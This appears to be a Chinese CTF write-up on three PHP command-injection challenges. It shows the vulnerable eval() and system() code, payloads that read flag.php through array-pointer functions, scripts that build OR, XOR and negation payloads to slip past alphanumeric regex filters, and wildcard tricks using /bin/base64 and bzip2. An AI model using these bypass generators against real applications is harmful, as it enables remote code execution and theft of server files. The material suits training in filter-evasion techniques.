PHP

172 阅读1分钟

题目一:

40

<?phpif(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){        eval($c);    }        }else{    highlight_file(__FILE__);}?>
  • each() 返回数组中当前的键/值对并将数组指针向前移动一步

  • end() 将数组的内部指针指向最后一个单元

  • next() 将数组中的内部指针向前移动一位

  • prev() 将数组中的内部指针倒回一位

  • array_reverse() 以相反的元素顺序返回数组key=>value value=>key

  • localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

  • pos():返回数组中当前元素的值

  • scandir():获取目录下的文件

  • array_reverse():将数组逆序排列

  • next():函数将内部指针指向下一元素,并输出

  • print_r(scandir(‘.’)); 查看当前目录下的所有文件名

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

highlight_file()

highlight_file(next(array_reverse(scandir(dirname(__FILE__)))))

题目二:

41

<?phpif(isset($_POST['c'])){    $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){        eval("echo($c);");    }}else{    highlight_file(__FILE__);}?>

生成字典脚本:

<?php/*# -*- coding: utf-8 -*-# @Author: Y4tacker# @Date:   2020-11-21 20:31:22*///function orRce($par1, $par2){    $result = (urldecode($par1)|urldecode($par2));    return $result;}​//异或function xorRce($par1, $par2){    $result = (urldecode($par1)^urldecode($par2));    return $result;}​//取反function negateRce(){    fwrite(STDOUT,'[+]your function: ');​    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));​    fwrite(STDOUT,'[+]your command: ');​    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));​    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';}​//mode=1代表或,2代表异或,3代表取反//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式function generate($mode, $preg='/[0-9]/i'){    if ($mode!=3){        $myfile = fopen("rce.txt", "w");        $contents = "";​        for ($i=0;$i<256;$i++){            for ($j=0;$j<256;$j++){                if ($i<16){                    $hex_i = '0'.dechex($i);                }else{                    $hex_i = dechex($i);                }                if ($j<16){                    $hex_j = '0'.dechex($j);                }else{                    $hex_j = dechex($j);                }                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){                    echo "";                }else{                    $par1 = "%".$hex_i;                    $par2 = '%'.$hex_j;                    $res = '';                    if ($mode==1){                        $res = orRce($par1, $par2);                    }else if ($mode==2){                        $res = xorRce($par1, $par2);                    }​                    if (ord($res)>=32&ord($res)<=126){                        $contents=$contents.$res." ".$par1." ".$par2."\n";                    }                }            }​        }        fwrite($myfile,$contents);        fclose($myfile);    }else{        negateRce();    }​}​generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

或应用脚本:

import requestsimport urllibfrom sys import *import osdef action(arg):   s1=""   s2=""   for i in arg:       f=open("or_rce.txt","r")       while True:           t=f.readline()           if t=="":               break           if t[0]==i:               #print(i)               s1+=t[2:5]               s2+=t[6:9]               break       f.close()   output="(\""+s1+"\"|\""+s2+"\")"   return(output)   while True:   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"   print(param)

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

题目三

55(无字母)

<?php// 你们在炫技吗?if(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);}

/bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:catcpchmod df、dmesg、gzip、killlsmkdir、more、mount、rm、su、tar、base64等​这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

/usr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。​我们可以利用/usr/bin下的bzip2​意思就是说我们先将flag.php文件进行压缩,然后再将其下载